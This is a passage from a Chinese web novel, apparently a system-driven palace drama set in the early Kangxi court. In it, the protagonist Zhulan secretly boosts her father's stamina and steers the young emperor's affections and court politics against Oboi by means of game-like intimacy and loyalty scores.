子夜的乾清宫寂静得能听见烛芯爆裂的声响,十岁的康熙蜷缩在龙榻上,冷汗浸透了绣着金龙的寝衣。 梦里的御花园飘着细雪,他赤着脚拼命追赶前方两道模糊的身影——皇阿玛一袭龙袍,怀中抱着个粉雕玉琢的孩童,连眼角的笑意都没施舍给他半分。额娘立在腊梅树下,眼泪大颗大颗砸在雪地上,却始终不肯唤他一声“玄烨”。 “皇阿玛!额娘!”他踉跄着伸手,指尖却只抓到一团寒气。 顺治帝抱着孩子越走越远,龙靴踩碎的雪粒扑簌簌落在他脸上。 慈和皇太后的身影突然化作一缕青烟,消散前最后一滴泪正巧落在他手背,烫得他嘶声惊醒。 幽暗的寝殿里,铜胎掐丝珐琅香炉飘着袅袅檀香,将梦境的寒意渐渐驱散。 康熙坐起身大口喘息,忽然瞥见床前有道黑影。他下意识摸向枕下的匕首,却在看清来人面容时怔住——葛布喇半跪在地上,虽已四十六岁,却依旧生得眉目清朗,岁月不过在他眼尾添了几缕细纹,反倒衬得那双深邃的眸子愈发温润。烛火跳跃间,他苍白却不失俊逸的面庞笼着层柔光。 “雪下得紧,奴才来瞧瞧地龙是否暖和。”他的声音像冬日里的炭火,带着令人安心的温度。 起身时,玄色官服下隐约可见挺直的脊梁,全然不似日间在风雪中奔波的疲惫模样。 葛布喇将皇帝滑落的锦被重新掖好,修长的手指拂过缎面时,袖口飘来淡淡的墨香与雪松气息,恍惚间竟让康熙想起幼时伏在额娘膝头听故事的时光。 “夜深了,皇上该安寝。”他垂眸时,睫毛在眼下投出小片阴影,温柔的目光落在少年天子脸上,令康熙紧绷的神经渐渐松弛。 当殿门重新合拢,康熙盯着帐顶的蟠龙纹出神。方才葛布喇转身时,月光正巧勾勒出他依旧挺拔的身姿——那清隽的轮廓,竟与梦里额娘离去时的背影重叠在一起。 皇阿玛顺治帝常年沉浸在董鄂妃的情事中,生母慈和太后早逝,康熙皇帝的记忆里,父母亲情始终是片荒芜的原野。 直到葛布喇出现,用沉默的守护填补了他情感的缺口。 想起某一日朝会,鳌拜党羽当众暗讽他年少无知,是葛布喇按剑而立,声如洪钟:“皇上天纵英才,岂容尔等放肆!” 在葛布喇刚毅的侧脸后,他看到了父亲的影子。 与此同时,慈宁宫方向,系统爆发出刺目的蓝光。系统面板疯狂跳动,【皇帝与葛布喇亲密度】的数值如火箭般窜升,“59、60!”随着清脆的提示音,红色警戒线被突破,数据条彻底转为象征信任的暖金色。 珠兰睁开眼睛,唇角勾起一抹不易察觉的弧度——这场精心策划的真心换真心,终于迈出了关键一步。 9. 如此相像 珠兰起身倒了一杯温水,透过系统看着那串被强行锁定的数字,60的健康指数在风雪中稳定闪烁,宛如一颗人造的心脏。 她知道这种能量灌输只是饮鸩止渴,父亲的身体正在被透支,但这是必要的代价。葛布喇的身体潜能全部挖掘出来,能供他活到一百二十岁,但显然他自己是挖不了那么透彻,所以系统可以帮忙。 母亲的身体,若非连续的生育,也不会迅速崩溃到缠绵病榻的地步。好在,一日半会的还不会如何,且先养着便是。 倒是两个弟弟,亲密度天生就高,但年纪太小,身体和意识属性都不够,仍然无法直接用大额观察点。若是自己在身边,还好一点一点观察着加,此刻人在宫中,便不要轻易试验了。 两个叔叔的亲密度提升,是个意外。珠兰很清楚,这是父亲葛布喇带来的好处。她有预感,随着父亲的影响力逐步扩大,日后天然对她亲密度或者忠诚度在60以上的人,会越来越高。 忠诚度在60以上,便可以直接用观察点更改属性,家中仆从便是这般操作的。 宫中宫女,多半都是慈宁宫临时派来看护她们,与家中仆役不同,无有亲信之人,珠兰便没有多耗费精力提高她们的忠诚度,日后若有需求,葛布喇自然会安排人手给她。有现成的能用,如何不好。原来,这就是富二代的快乐嘛··· 当葛布喇调整乾清宫灯火的手指因亢奋而颤抖时,珠兰看见系统注入的能量,也就是观察点,在起作用——那让他既能维持着惊人的精力处理事务,又能在表面上保持着一种诡异的“旺盛”。 “继续监测各器官损耗,”她在意识中命令,“一旦出现不可逆损伤,立刻启动疼痛阻断程序,注入观察点进行修复。”这是第一优先级的程序,葛布喇目前的重要性是最高层次的。哪怕再欠时空局点账,日后支付高额利息也认了。 葛布喇突然捂住胸口闷哼一声,却在观察点注入的瞬间恢复如常。 只要珠兰手里的观察点或者能量结晶充足,葛布喇就能精神矍铄的活到九十八,还跟个棒小伙似的。九十八是比一百二少了点,但是换来波澜壮阔的一生,葛布喇定然是愿意的。珠兰也不和他商量,笃定他乐意就是了。 至于身体,左右都要破败的,早破晚破的,系统能量足了或者属性值破95,就都能修。 想要得人上之能,必然要吃人上之苦。珠兰深以为然,所以从不给自己加点。 她母亲那边缠绵病榻,也等着她攒能量结晶呢,需要再等等。 珠兰从几次得到能量结晶的节点推测,要想获得足够的能量,毫无疑问是要搞大事的,最方便的地方还是庙堂之内,一言而定天下命运。此等事,所居之位越高,所掌之权越盛,越容易。 若不能做皇帝独揽大权,那么能不入局,不承担风险而得好处,自然是上上之选。珠兰盘算着两个计划,都做了准备。 往上吃老父,往下吃老妹儿,这不是很好嘛。 她预感到自己亲去改变康熙的属性,花费恐怕比通过葛布喇与塔娜影响康熙,还得多。 此事,不在掌控之中,命运握于他人之手,感觉着实不好,珠兰抿着唇角。 出了乾清宫,葛布喇朝佟国纲摆摆手,转身走向巡逻队的背影比刚才更显挺拔,只是那每一步踏在雪地上的声响,都带着一种非人的规律——那是系统在强制校准他的肌肉运动,维护他的健康体态,确保这具躯体在被榨干前,能持续为任务目标服务。 佟国纲望着他在雪地里渐行渐瘦的背影,听见自己的甲叶在寒风中发出一声几不可闻的叹息。皇上的寝宫,他还不能随意进去。不过,老哥哥说的那个洋人教的事儿,还得回去嘱咐老二,不能把三个孩子带的歪了。洋人的算术是好,可那洋教咱不能信,咱满洲子弟得守着老规矩。 葛布喇晃了晃脑袋,把身体的异常归结为忠义激发出的潜能。昨夜只合眼两个时辰的疲惫消失无踪,连咳了三天的老毛病也奇迹般平息。 他抚着腰间玉带暗忖:果然如太皇太后所言,奴才的气血该为主子燃烧。全然不知自己每一次亢振奋勇的巡查,都伴随着系统在血管里注入的能量,那是珠兰的观察点在燃烧。 珠兰喝了水,重新闭上眼睛,得好好睡觉,不然明日精神该不好了,她可没有能量留给自己用。 佟国纲在武英殿值房烤火,啃着葛布喇老哥哥给的没滋味的大白糕时,听见当值侍卫议论:“葛大人刚才查宫门,竟能徒手拧直被冻住的门闩,那手劲比二十岁的棒小伙子还足!” 他灌下一口烈酒,望着铜火盆里爆响的炭花喃喃道:“老哥哥这是把魂儿都卖给皇上了...”这么难吃的糕,他也吃的进去,果然不是一般人啊。 慈宁宫抱夏,珠兰在梦里看着系统生成的【权力纽带稳固度:98%】,指尖在被子里轻轻掐灭了那丝转瞬即逝的、属于父女情感的涟漪。身为任务者,一切以获取能量为先。 前朝,四大辅臣的博弈在年节氛围下更显诡谲。 索尼手中那枚翡翠扳指转动得愈发缓慢,系统监测到的【决策犹豫频率】降至每分钟8次,老狐狸望着窗外皑皑白雪,似乎在盘算着开春后的朝局走向。 鳌拜则在议政王大臣会议上公然要求增加两黄旗的年赏份额,蟒袍上的金线在烛火下闪烁,系统记录的【权臣嚣张值】随着他的发言而飙升。 唯有遏必隆左右逢源,既向鳌拜送去关外进贡的熊掌,又给索尼府上呈江南新茶,试图在夹缝中求得生存。 慈宁宫的暖阁里,太皇太后亲手将一枚赤金累丝福字簪插在苏完娜鬓边。 小姑娘穿着新做的藕荷色旗装,怯生生地依偎在老人膝头。 系统捕捉到太皇太后指尖的微颤,【思念情绪值】在接触到苏完娜眉眼的瞬间达到峰值——那七分相似的温婉,足以勾起深埋的记忆。 仁宪皇太后捧着刚熬好的参汤进来,见此情景,脸上露出温和的笑意,却在太皇太后目光扫来时,下意识地垂下眼帘。 乾清宫的年夜饭桌上,人不多,铜火锅升腾的热气模糊了康熙的面容。 他夹起一筷子鹿肉,忽然开口问向左侧的葛布喇,“朕前日与你说的勾股定理,你可曾琢磨明白?”少年天子的声音带着未脱的稚气,却透着不容置疑的认真。 葛布喇放下酒杯,恭敬作答:“奴才已略通一二,待开年后,定要向汤若望神父请教更深的学问。”系统立即弹出【君臣学术共鸣值:+15%】的提示。 坐在下首的佟国纲闻言,黝黑的脸庞泛起红光。他放下手中的酒碗,粗声说道:“皇上,奴才近日也让家里的小子们跟着汤若望学洋玩意儿去了。要说这西学,还真是有些门道。”说着,他指向身旁的佟国维,“奴才这兄弟,脑子比奴才活泛,学了些几何算法,皇上要不要考考他?” 佟国维连忙起身,却在康熙询问三角函数时,涨红了脸答不上来,引得众人一阵轻笑。 就在这时,佟国纲像是想起了什么,连忙说道:“皇上,奴才近日发现一个叫明珠的年轻人,学问不错,为人也机灵,要不臣把他引荐给皇上?” 康熙眼中闪过一丝兴趣,点了点头。 葛布喇见状,也开口道:“奴才也举荐一人,名叫陈廷敬,此人自幼聪慧,9岁能作《牡丹》诗。顺治十五年中进士,入翰林院。博闻强识,有真才实学,是个可用之才。” 康熙听闻,脸上露出欣喜之色,连道:“好,好,你们多为朕留意这样的人才。”系统显示【皇帝求贤指数:+20%】,【保皇势力联结度:+18%】,珠兰暼了一眼,不是很在乎。 年夜饭过后,康熙在宫道上散步,恰逢苏完娜与塔娜、阿日娜苏从御花园归来,宫女太监不远不近地跟着。 顾问行今日留在乾清宫了,小太监里梁九功冒出了头,得了康熙的意。他稍稍抬头,用余光看了过去。慈宁宫的贵女格格们,是常见的,每一位的家世、性格他都了解一二。 三个小姑娘提着兔子灯,银铃般的笑声在雪夜里格外清脆。这是年纪较小的格格们,虽然年纪相仿,皇上主子其实不爱跟她们玩,遇上了得说几句话就罢了。苏完娜格格本来有点优势,现下也没了。 康熙看着苏完娜,心中一动,她刚入宫时那副怯生生的模样,与母亲确有几分相似,可如今被塔娜她们带得活泼了,那份温婉便淡了许多。 正想着,却见珠兰与马佳诺敏结伴走来。 梁九功又半抬眼看,马上就低下头。珠兰格格可不一般,是葛布喇大人的掌上明珠,长相是与大人有些像的,行事也像大人,春风化雨似的,看似不计较,其实什么都知道。皇上主子对这位,和对塔娜格格就不一样。 葛布喇大人可不得了,极为得皇上主子的意,半夜能进寝宫那种,师父都不让他进去。 梁九功还偷偷见过皇上主子趴在人肩膀上哭,他心里想着大逆不道的话,皇上主子对先皇都没这么亲近。 葛布喇大人年纪大了,可还是十分俊秀,珠兰格格也是俊秀,轮廓都像。葛布喇大人的母亲是佟佳氏,妻子也是佟佳氏,不知这个佟和那个佟,隔着有多远。 梁九功见过慈和皇太后,却有些觉得葛布喇大人与珠兰格格的长相里,有一些像慈和皇太后,哦,不,是先皇后。 皇上主子见了珠兰格格,就跟看见葛布喇大人似的,那嘴角都弯起来了。 塔娜格格估计像母亲,就没这优势了。 别看梁九功是个太监,他可太聪明了。 珠兰身着月白色旗装,步履从容,举手投足间的温婉之态,竟让康熙恍惚又看到了母亲的影子。而诺敏脸上温和的笑意,也似曾相识。 系统弹出【记忆唤醒强度:+12%】,珠兰晓得是自己与诺敏刻意学的慈和太后的举止在起作用。珠兰学的步态,诺敏学的笑意。她都没想到,还有她阿玛的作用在里面,系统没具体分析被唤醒的是哪个记忆。 不远处,纳喇玉宁正与几个宫女说话,见康熙看过来,便上前行礼。 康熙想起往日与她谈论诗书的情景,便想与她聊聊近日读的西学书籍,不想玉宁却面露难色,称自己对那些“洋玩意儿”不懂也不乐意学。 梁九功听了,觉得这位不开窍,转念又想,这位格格聪明着呢,没准儿是故意的,特立独行才有记忆点。 今年太皇太后又安排了两名包衣女子入乾清宫,照顾皇上主子起居,那个董氏也是这么个诗情画意的做派,皇上主子看她就比另一人多。 康熙略感失望,兴致缺缺地应了几句。 这时,钮祜禄氏萨琳走上前,巧笑嫣然地与康熙谈论起西学,从历法到几何,竟也能说上几句。 康熙眼前一亮,与她相谈甚欢。 玉宁在一旁看着,嘴角勾起一抹鄙夷的弧度,转身去寻珠兰姐姐,系统显示【鄙夷情绪浓度:+25%】。 梁九功看见这位来了,其他格格都散了,心里有了计较。他的皇上主子,也是将一切都看在眼里的。 慈宁宫的暖阁里熏笼烧得正旺,鎏金香炉中飘出的安息香混着糕点甜香,在空气中织成一张慵懒的网。 殿内的铜鹤烛台燃着粗大的红烛,将太皇太后榻上的明黄帷幔映得暖意融融,却驱不散几个小丫头眼皮上的沉沉倦意。 塔娜靠在软垫上,发间的绒花随着脑袋一点一点的动作轻轻颤动,旁边的阿日娜苏早已歪在锦墩上,嘴角还沾着未擦净的糖霜。 “都去歇着吧,”苏麻喇姑放轻了声音,“仔细着了凉。”太皇太后在里间念佛,并不在此处,也不勉强姑娘们陪着。她老人家慈祥着呢,没那么多讲究。 话音未落,几个小身影便如蒙大赦,揉着眼睛鱼贯而出,唯有珠兰与萨琳还直挺挺地跪坐在蒲团上。 萨琳的鼻尖冻得微红,却仍梗着脖子盯着案上的西洋自鸣钟——那进贡的玩意儿,每到整点便会发出清脆的报时声,此刻钟摆的“滴答”声在寂静的殿内格外清晰。 “这摆轮的擒纵结构,你可琢磨透了?”珠兰忽然开口,指尖轻点在自鸣钟的玻璃罩上。这丫头是较劲呢,可她不想。多个朋友多条路,她们本也没有致命冲突。 萨琳猛地回头,眼中闪过一丝惊讶——她以为珠兰会像其他格格一样不理会自己,却不想对方开口讲话,就直指自己连日来沉迷的西学。 “才懂了皮毛,”萨琳下意识坐直身子,从袖中摸出一张折叠的图纸,“这是我照着汤神父的《远镜说》描的齿轮图,只是这力矩计算……”她顿了顿,抬眼看向珠兰,只见对方正俯身细看图上的线条,睫毛在烛火下投下淡淡的阴影,神情专注得不像在应付闲谈。 “你看这主发条的扭矩传导,”珠兰的指尖划过图中螺旋状的纹路,“若在第三级齿轮处增加一个离合装置,或许能解决报时卡顿的问题。”系统在她意识中弹出【萨琳-知识共鸣度】的提示,数值条正以5%的幅度缓慢攀升。

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“萨琳格格,您也早些歇息吧。”苏麻喇姑的声音将她拉回现实。 萨琳“嗯”了一声,却没动地方。 她本该讨厌珠兰的——这个家世显赫又深得太皇太后青睐的格格,是后宫里无数双眼睛暗中打量的对象,自己也曾在心底把她归为“需要小心应对的人”。 可当珠兰认真谈论起《远镜说》里的透镜组合,当她能精准指出三角函数计算中那个隐蔽的符号错误,当她的眼睛因发现学术共识而亮起微光时,所有预设的敌意都在顷刻间瓦解了。 她想起上个月在御花园,自己因争论《几何原本》的译法被其他格格嘲笑“像个掉书袋的穷秀才”,唯有珠兰路过时停下脚步,平静地说出“欧几里得第五公设的翻译确实存疑”。她又想起今日珠兰谈论离合装置时,语气里没有半分居高临下,只有纯粹的知识探讨带来的畅快。 这种畅快,比绞尽脑汁想出一句讨皇帝欢心的话要舒服得多,比穿着崭新的织金氅衣接受众人艳羡的目光也要实在得多。 萨琳低头看着图纸上珠兰方才圈出的力矩曲线,指尖无意识地描摹着那个小小的圆圈。 她不得不承认,只要珠兰开口谈论学问,无论是西洋的自鸣钟原理,还是汉人的诗词格律,自己就完全讨厌不起来。 甚至在珠兰离开后,一种莫名的怅惘感正悄悄爬上心头——这暖阁里的熏笼依旧烧得旺盛,可失去了那个能与自己讨论“摆轮擒纵结构”的人,空气似乎都变得稀薄而冰冷。 自鸣钟突然发出“当”的一声报时,萨琳猛地回神,才发现自己已对着图纸发了许久的呆。她将图纸小心翼翼地折好放回袖中,目光望向珠兰离去的方向,殿门外的红烛在夜风中摇曳,将她的影子拉得细长。 或许在这个除夕夜,除了守岁的烛火,她还悄然守住了一份连自己都未曾预料的、因学问而生的微妙情谊。 雪越下越大,覆盖了宫城的每一个角落。 康熙站在殿前,看着漫天飞雪,心中思绪万千。 这一年来,朝堂之上波谲云诡,后宫之中也是暗流涌动。 但让他感到欣慰的是,有葛布喇、佟国纲这样的臣子忠心辅佐,又有索额图、佟国维、明珠、陈廷敬等年轻才俊逐渐崭露头角。 而后宫之中,珠兰的温婉、诺敏的温和,也让他在冰冷的宫墙之内,感受到了一丝暖意,若是母亲还在…… 他知道,前路依旧坎坷,但他有信心,在这些人的辅佐下,开创属于自己的时代。 系统显示【帝王信心指数:+18%】,【朝局稳定预期值:+15%】,珠兰觉得再这么加下去,康熙一定会成为有史以来第一自恋皇帝。这可不是她给加的点,全然是皇帝自己的锅。 乾清宫的烛火比慈宁宫更亮,映得皇帝案头的奏折仿佛都在发光。 珠兰将食盒放在一旁,从中取出温热的点心。原来,那食盒里有炭火温着。 少年天子放下朱笔,目光在她脸上停留得格外久,“这细致劲儿,像你父亲。” 康熙忽然开口,声音带着一丝柔和,珠兰的眉眼,倒有几分像葛布喇持重的模样。 珠兰微微垂眸,系统立刻调出【康熙-珠兰亲密度】的数值:50。他是年纪越大,给的亲密度越发少了。今年年初到年尾,没涨十点,比元年是少了足足一半还多。就这点涨幅,还是看在葛布喇的面上给的呗。 人家的女儿入宫,是给老父亲挣气、当靠山来了。她家,倒过来了,老父亲是她的护身符。如此,正合心意。 只是,亲密度这数字着实让她无语——方才与萨琳讨论学问,亲密度都涨了5点,可在康熙面前,即便对方流露出明显的亲近之意,数值却只像蜗牛般挪动。 “皇上谬赞了,”她按捺下心中的计算,声音温婉而平稳,“奴才父亲常说,为臣者当如磐石。”晓得你喜欢什么了,可不得挂在嘴边上,经常说。 康熙闻言笑了,伸手取过食盒里的梅花酥,却没立刻吃,只是盯着珠兰的脸:“你这性子,又有几分像……”像朕的母亲。 他的语气里带着追忆的怅惘,系统敏锐地捕捉到【康熙-情感投射值】的波动。 珠兰看着对方眼中一闪而过的孺慕之情,估计皇帝是将对父母的渴望,投射到了葛布喇身上,她又沾光了。温婉顺从人设得立住了,皇帝家的人目前吃这一套。 亲密度数值跳动——50,51,52.5……最终停在了52.5。吃这一套,貌似吃的也不多,别是脾胃不好吧,珠兰暗自腹诽。 “时候不早了,格格该回宫了。”慈宁宫跟来的随侍宫女,一句提醒打破了寂静。 康熙放下手中的点心,看着珠兰行礼告退的背影,指尖敲击着桌面。他忽然发现,自己不想让这个与她的父亲一样眉眼、又像自己的母亲一样沉静温婉的女子离开——这念头来得毫无征兆,却带着不容置疑的执拗。 珠兰走出乾清宫时,夜风吹得她打了个寒噤。她抬头望向漫天星斗,系统提示:【萨琳亲密度增长效率:12.5%/小时】,【康熙亲密度增长效率:0.8%/小时】。 数据对比悬殊得刺眼,她勾了勾唇角——耿直的学问探讨,竟比帝王的青睐更有效率。 10. 皇后之选 康熙三年春,紫禁城的玉兰开得格外浓烈,却掩不住太和殿内剑拔弩张的气息。 葛布喇立于御前,青灰色官服洗得发白,腰间玉带却束得笔直。他手中弹劾鳌拜圈占民田的奏折还未念完,便被鳌拜重重的拍案声打断:“赫舍里小儿,莫要血口喷人!”蟒袍上的金线随着鳌拜的暴怒而闪烁,系统监测到的【权臣威压值】瞬间飙升至危险区间。 葛布喇却不慌不忙,从袖中掏出一卷泛黄的地契:“镶黄旗强占保定府良田三千顷,这是百姓联名按的手印。”他的声音沉稳如钟,那双因熬夜而布满血丝的眼睛,此刻却亮得惊人。 至于这地契、手印都是怎么来的,以葛布喇不结党的性子,自然不是党派羽翼整来的,他以为是老百姓走投无路进京喊冤,一路顺利不说,就那么巧找到了他家。 实则,珠兰培养的那些忠诚在90以上的掌柜、庄头们没少偷偷去直隶各地出差。 也有一部分,是不敢顶撞鳌拜,指望葛布喇出头的人暗中投递的,碰上这种,都叫珠兰安排在葛布喇身边的管事拦下了,核实好了确有其事才拿给自家主子的阿玛。 殿内众人看着这位领侍卫内大臣单薄却挺拔的身影,系统面板上【威望值】正以肉眼可见的速度攀升。 这都是团队的力量啊,珠兰摇头。为了一个葛布喇在朝中威风一刻钟,下头得有几百号人跟着忙活。 葛布喇是孤军奋战否,皇帝以为是,大臣以为是,就行了。 退朝后,乾清门外的廊下,几个年轻的侍卫偷偷议论。 “葛大人昨日又去探视了那些被鳌拜打压的官员家属。” “听说他自掏腰包,给那些遗孤请了先生念书。” 这些话语如春风般传遍八旗,越来越多的年轻将领和侍卫,自发聚集在葛布喇麾下。系统监测到的【保皇势力联结度】突破70%,形成一股不容小觑的力量。 随着矛盾升级,葛布喇与鳌拜的争斗从朝堂争吵演变成互相弹劾。 某夜,系统突然弹出【官员伤亡预警】——葛布喇阵营中的一名御史,因直言上谏被鳌拜罗织罪名,惨死狱中。珠兰对此,只是一挑眉,便不再理会。死的不是重要人物,没有世界负面反馈。 消息传来时,葛布喇正在检查宫门禁卫。他握着腰牌的手青筋暴起,眼中闪过一丝痛色,却很快恢复冷静。 次日清晨,葛布喇亲自登门吊唁。 他卸下一身官服,身着素白长衫,半跪在灵前久久不起。“放心,你的家人,我定会照料到底。”承诺掷地有声。他将自己半年的俸禄交给其家人,又安排侍卫护送遗孤进国子监求学。 葛布喇对银子没概念,手松的很,家里的管事随时能拿出钱来供他花销。 珠兰暗中运气,这都是必要投资,不需心疼,咬牙给掌柜们再涨点经营属性就是了,在赫舍里氏的庇护下做买卖,已经是简单难度了。 这一幕被暗中监视的眼线传回鳌拜耳中,而此时的鳌拜,正忙着将政敌的家产充入私囊,系统显示的【民心背离值】在悄然增长。 此后,越来越多被鳌拜打压的官员及其家人,都得到了葛布喇的庇护,得了赫舍里的银子。 他的府邸整日门庭若市,却从不收取任何好处。珠兰安排的人手,恰到好处的帮他维护着淡如水的情谊,收集着各类信息。 在这个阶段,秉持忠义与正义的葛布喇,就是旗帜。即便他并未做成任何一件利国利民的大事,但他敢跟鳌拜对着干。 年轻的苏克萨哈之子,在父亲被鳌拜屡次构陷,居然忍气吞声后,更是直接投入葛布喇麾下,“葛大人,才是我等巴图鲁该追随的方向。”少年的话语,道出了许多人的心声。 葛布喇当然不姓葛,只是钦佩他的八旗子弟们的亲近称呼,唤一声葛大人的,都是自己人。 与此同时,索尼的翡翠扳指转动得愈发迟缓。 这位老谋深算的首席辅政大臣,望着窗外纷飞的柳絮,终于称病不再上朝。珠兰已经十五岁了,皇帝也十二岁了。葛布喇行事越发有条理,不需要他这把老骨头天天看着了。 当葛布喇孤身一人在朝堂上与鳌拜激烈对峙时,索尼府的大门紧闭,唯有门房传出“大人抱恙,不便见客”的回应。 系统监测到的【索尼隐退指数】直线上升,却在【保皇势力成长值】曲线旁生成微妙的共振波纹。珠兰看明白了,老狐狸用隐身的姿态,默许着葛布喇在风暴中心的每一步挪动。封建时代的庙堂之争,珠兰让系统好好学。 系统······ 太和殿的龙椅上,皇帝将这一切看在眼里。 他摩挲着案头葛布喇进献的《安邦十二策》,想起昨夜梦中那温柔又坚定的眼神,一时是额娘,一时是葛布喇,一时又是珠兰······ 这上朝呢,怎么亲密度还涨了0.5,珠兰有些摸不清皇帝的想法,心中有点焦躁,转瞬便被她自己平息了下去。 当葛布喇在御前怒斥鳌拜结党营私,被鳌拜党羽围攻却依然挺立如松时,少年天子眼中的钦佩化作系统面板上暴涨的【亲密度】。 原来又是爱屋及乌,老爹那边涨10,我这儿涨0.5。这君臣亲密度倒是涨的快,珠兰想了半天,自己去当辅政大臣的概率比当皇帝还低。 那抹在重重压力下孤军奋战、默默关怀的孤勇身影,三年过去,终于在玄烨心中烙下“亲密”的印记,君臣亲密度在属性值上超过了80,这代表葛布喇是玄烨的自己人了。 而【鳌拜危机指数】也突破临界值,预示着一场更大的风暴,正在紫禁城的上空酝酿。有搅风搅雨的珠兰在,她收下的那些人一刻都不停歇,葛布喇那边也有些人手在行动,一切行动都在加快。 玉兰初绽的枝桠探进寿康宫的朱红宫墙,仁宪皇太后对着铜镜簪花的手微微发颤,她已经许久没有拿起这些了。 自康熙元年以来,太皇太后便禁止她过多接触来宫中待年的格格们。她也不敢问,就当自己不存在罢了。 直到前日慈宁宫传召,老祖宗转动着蜜蜡佛珠,语气看似随意:“皇帝也该有个知冷知热的人了,琪琪格你帮着看看。从明日起,让小格格们每隔三日到寿康宫请安吧。” 这道旨意如惊蛰的春雷,炸开了后宫沉寂的水面。 次日清晨,阿日娜苏与塔娜手挽手踏入寿康宫时,晨露还凝在她们新裁的春裙上。 仁宪皇太后琪琪格望着阿日娜苏鬓边的蓝白格纹头巾,恍惚间又回到了科尔沁草原的春日。她原本,也是草原上耀眼而自在的格桑花。 “太后娘娘,这是我们照着草原的样子绣的帕子。”塔娜脆生生的声音打断了她的思绪,少女捧着的帕子上,细密的针脚绣着展翅的雄鹰。 此后每到请安日,寿康宫便飘起奶茶香。 阿日娜苏会用蒙语诵读《蒙古源流》,塔娜则缠着太后教她辨认草原上的花草。后来,她们会带着怯生生的苏完娜一起来,佟家的小姑娘总让太后想起那个温婉的女子。 柳絮纷飞掠过寿康宫的朱红宫墙,珠兰、钮钴禄萨琳、纳喇玉宁与马佳诺敏结伴前来请安,四人踏入殿内时,苏完娜陪着仁宪皇太后一起望着窗外新抽芽的柳条出神,两人的神情居然有些像。 塔娜和阿日娜苏跪坐在旁研磨奶茶,铜壶蒸腾的热气中,飘来淡淡的奶皮子香气。 玉宁看她们三个娜娜,倒是同进同出的,很亲密。诺敏缠着珠兰姐姐。自己呢,算了,乌拉纳喇的后人宁愿单着,也不与那矫揉造作的钮钴禄萨琳一处。 元年十二名贵女入宫,年纪大一些的,陆续因到了年纪,放出去婚配了。太皇太后跟前教养的格格,说亲时都能再抬一层身价。 宫中,便只有赫舍里珠兰塔娜姐妹、钮钴禄萨琳、博尔济吉特阿日娜苏、马佳诺敏、纳喇玉宁和后来的佟苏完娜留到了决赛圈。 “给太后请安。”四人盈盈下拜,珠兰起身时裙摆轻扬的弧度,让仁宪皇太后瞳孔微缩——那碎步缓移的节奏,那抬手捋发时腕间轻颤的姿态,竟如此熟悉。 系统在珠兰视网膜上弹出【相似度匹配成功】的提示,她垂眸掩住唇角笑意,上前接过宫女递来的茶盏:“听闻太后近日咳嗽,这是用川贝熬的梨汤,最是润肺。”她已从系统里得知,两位太后真有友谊。 诺敏捧着绣绷跪坐在软垫上,指尖银针穿梭如蝶,绣布上渐渐浮现出并蒂莲的纹样。 仁宪皇太后望着她低垂的眉眼、抿唇浅笑的模样,恍惚间看见年轻时的慈和太后伏在案前绣荷包的场景。 “慢些绣,仔细伤了眼睛。”太后忍不住伸手轻抚诺敏发顶,系统面板上【诺敏好感度加成】的数值悄然跳动。 这一切,自然是珠兰教诺敏做的,毕竟是一上来就高好感的人,需要时不时给些好处,再涨些数据。其余姑娘们,此刻好感度还没突破及格线,诺敏的已经快到70了。 玉宁坐在一旁,听着太后与阿日娜苏用蒙语交谈,面上露出困惑之色。她虽精通满汉文,对蒙语却一知半解,只能勉强听懂零星词汇。 回去后,玉宁立即重金聘请蒙语教习,每日苦学至深夜。三日后再来请安时,她用生涩的蒙语讲了个草原笑话,竟惹得太后笑得直不起腰,眼角泛起泪花:“难为你这孩子,肯下这番功夫。” 唯有萨琳端坐在一旁,腰背挺得笔直,妆容服饰一丝不苟。 她自恃容貌才情不输珠兰,言语间也带着几分傲气:“太后今日这身衣裳配色雅致,倒是与东珠耳坠相得益彰。”可惜这番精心准备的夸赞,只换来太后淡淡的点头。 萨琳渐渐察觉,无论自己如何端庄守礼,太后的目光要么在三个小的身上,要么就总是停留在珠兰、诺敏和故作活泼的玉宁身上。 正如纳喇玉宁看不上钮钴禄萨琳,萨琳对玉宁也没有好印象。 回到府邸,萨琳将委屈说与母亲听。 遏必隆的侧福晋转动着朱砂镯子,冷笑道:“太皇太后才是后宫真正的掌舵人,讨好太后有什么用?咱们另寻路子。” 第二日请安,萨琳便不再刻意逢迎,只是规规矩矩行礼问安,不再多言。 太后虽然心眼不多,却也被人奉承半辈子了。瞧出她态度的转变,也只是淡淡瞥了一眼,继续与珠兰等人谈笑,殿内的欢声笑语,似乎丝毫未因她的疏离而减损。 太后渐渐习惯了这些鲜活的面孔,偶尔也会指着窗外的玉兰,用掺杂着蒙语的满语给她们讲顺治年间的旧事。 只是每当话音落下,她总会下意识望向宫门外——那里站着太皇太后派来的嬷嬷,手中的铜烟杆冒着袅袅青烟,提醒着这场温情互动的边界。 时到深秋,孝陵宝顶的银杏叶开始泛黄,紫禁城的宫人们悄悄议论着孝期将满的消息。 八旗贵胄府邸的马车频繁出入神武门,都藏着为家族谋划主子娘娘人选的心思。随着前朝局势的改变,某些人的期待也在抬头。 慈宁宫的暖阁里,太皇太后转动着蜜蜡佛珠,目光扫过阶下的仁宪皇太后,“皇帝也到了议亲的年纪,你日日看着那些待年格格,可有合心意的?” 仁宪皇太后的护甲磕出轻响,垂眸时睫毛在眼下投出细密的阴影。自入宫以来,她始终活在太皇太后威严的目光下。先皇在时,她就是安静的。先皇去后,她连与康熙亲近都要小心翼翼。 直到今年三月,太皇太后召她至抄经堂,亲手为她戴上一串新得的珊瑚手串,“皇帝身边该有些温情,你是母后,多照拂些也是该当的。”那看似随意的话语,却让她如获大赦。 太后始终不敢放肆,在这位老祖宗面前,她只是琪琪格,便能好生在紫禁城待下去。 想起阿日娜苏跪在自己榻前诵读《蒙古源流》的模样,少女用蒙语吟诵古老史诗时,声音像斡难河的水般清亮;还有塔娜捧着新摘的桂花,蹦跳着要给她簪在鬓边的天真模样。这两个孩子总让她想起草原上的年少时光,可太皇太后深不可测的目光让她喉头发紧:“我,琪琪格愚钝,一切但凭太皇太后做主。” 回寿康宫后,珠帘轻响,珠兰、塔娜和阿日娜苏进来请安。 塔娜怀里抱着只雪白的京巴犬,犬儿颈间系着的红绸带,正是三日前仁宪皇太后赏赐的物件。 “太后娘娘,阿日娜苏姐姐新学了马头琴曲!”塔娜脆生生的声音打破沉默,她拽着阿日娜苏跪在软垫上,从袖中掏出块绣着蒙古纹样的帕子,“这是我们照着太后娘娘裙子上的样子绣的。” 仁宪皇太后接过帕子,指尖抚过细密的针脚,绣着的草原格桑花栩栩如生。 阿日娜苏适时用蒙语轻声道:“愿太后娘娘得长生天庇佑,福寿安康。” 